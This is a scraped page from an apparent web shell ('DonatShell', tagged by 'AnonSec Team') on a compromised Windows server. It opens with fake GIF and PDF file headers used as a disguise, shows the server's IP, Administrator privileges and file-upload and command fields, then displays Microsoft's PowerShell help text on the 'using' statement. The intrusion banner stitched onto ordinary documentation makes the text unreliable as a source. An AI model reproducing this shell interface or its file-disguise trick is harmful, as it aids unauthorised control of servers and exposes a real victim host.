GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SysWOW64/WindowsPowerShell/v1.0/en-US/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/SysWOW64/WindowsPowerShell/v1.0/en-US/about_Using.help.txt

ABOUT USING


SHORT DESCRIPTION

Allows you to indicate which namespaces are used in the session.


LONG DESCRIPTION

The using statement allows you to specify which namespaces are used in the
session. Adding namespaces simplifies usage of .NET classes and member and
allows you to import classes from script modules and assemblies.

The using statements must come before any other statements in a script.

The using statement should not be confused with the using: scope modifier
for variables. For more information, see about_Remote_Variables.


Syntax

To specify .NET namespaces from which to resolve types:

    using namespace <.NET-namespace>

To load classes from a PowerShell module:

    using module <module-name>

To preload types from a .NET assembly:

    using assembly <.NET-assembly-path>
    using assembly <.NET-namespace>

Specifying a namespace makes it easier to reference types by their short
names.

Loading an assembly preloads .NET types from that assembly into a script at
parse time. This allows you to create new PowerShell classes that use types
from the preloaded assembly.

In Windows PowerShell 5.1 you can load the assembly by path name or by
name. When you use the name, PowerShell searches the .NET Global Assembly
Cache (GAC) for the associated assembly.

If you are not creating new PowerShell classes, use the Add-Type cmdlet
instead. For more information, see Add-Type.


Examples

Example 1 - Add namespaces for typename resolution

The following script gets the cryptographic hash for the "Hello World"
string.

Note how the using namespace System.Text and using namespace System.IO
simplify the references to [UnicodeEncoding] in System.Text and [Stream]
and to [MemoryStream] in System.IO.

    using namespace System.Text
    using namespace System.IO

    [string]$string = "Hello World"
    ## Valid values are "SHA1", "SHA256", "SHA384", "SHA512", "MD5"
    [string]$algorithm = "SHA256"

    [byte[]]$stringbytes = [UnicodeEncoding]::Unicode.GetBytes($string)

    [Stream]$memorystream = [MemoryStream]::new($stringbytes)
    $hashfromstream = Get-FileHash -InputStream $memorystream `
      -Algorithm $algorithm
    $hashfromstream.Hash.ToString()

Example 2 - Load classes from a script module

In this example, we have a PowerShell script module named CARDGAMES that
defines the following classes:

-   CARDGAMES.DECK
-   CARDGAMES.CARD

Import-Module and the #requires statement only import the module functions,
aliases, and variables, as defined by the module. Classes are not imported.
The using module command imports the module and also loads the class
definitions.

    using module CardGames
    using namespace CardGames

    [Deck]$deck = [Deck]::new()
    $deck.Shuffle()
    [Card[]]$hand1 = $deck.Deal(5)
    [Card[]]$hand2 = $deck.Deal(5)
    [Card[]]$hand3 = $deck.Deal(5)

Example 3 - Load classes from an assembly

This example loads an assembly so that its classes can be used to create
new PowerShell classes. The following script creates a new PowerShell class
that is derived from DIRECTORYCONTEXT class.

    using assembly 'C:\Program Files\PowerShell\7\System.DirectoryServices.dll'
    using namespace System.DirectoryServices.ActiveDirectory

    class myDirectoryClass : System.DirectoryServices.ActiveDirectory.DirectoryContext
    {

      [DirectoryContext]$domain

      myDirectoryClass([DirectoryContextType]$ctx) : base($ctx)
      {
        $this.domain = [DirectoryContext]::new([DirectoryContextType]$ctx)
      }

    }

    $myDomain = [myDirectoryClass]::new([DirectoryContextType]::Domain)
    $myDomain

    domain                                                    Name UserName ContextType
    ------                                                    ---- -------- -----------
    System.DirectoryServices.ActiveDirectory.DirectoryContext                    Domain

Anon7 - 2022
AnonSec Team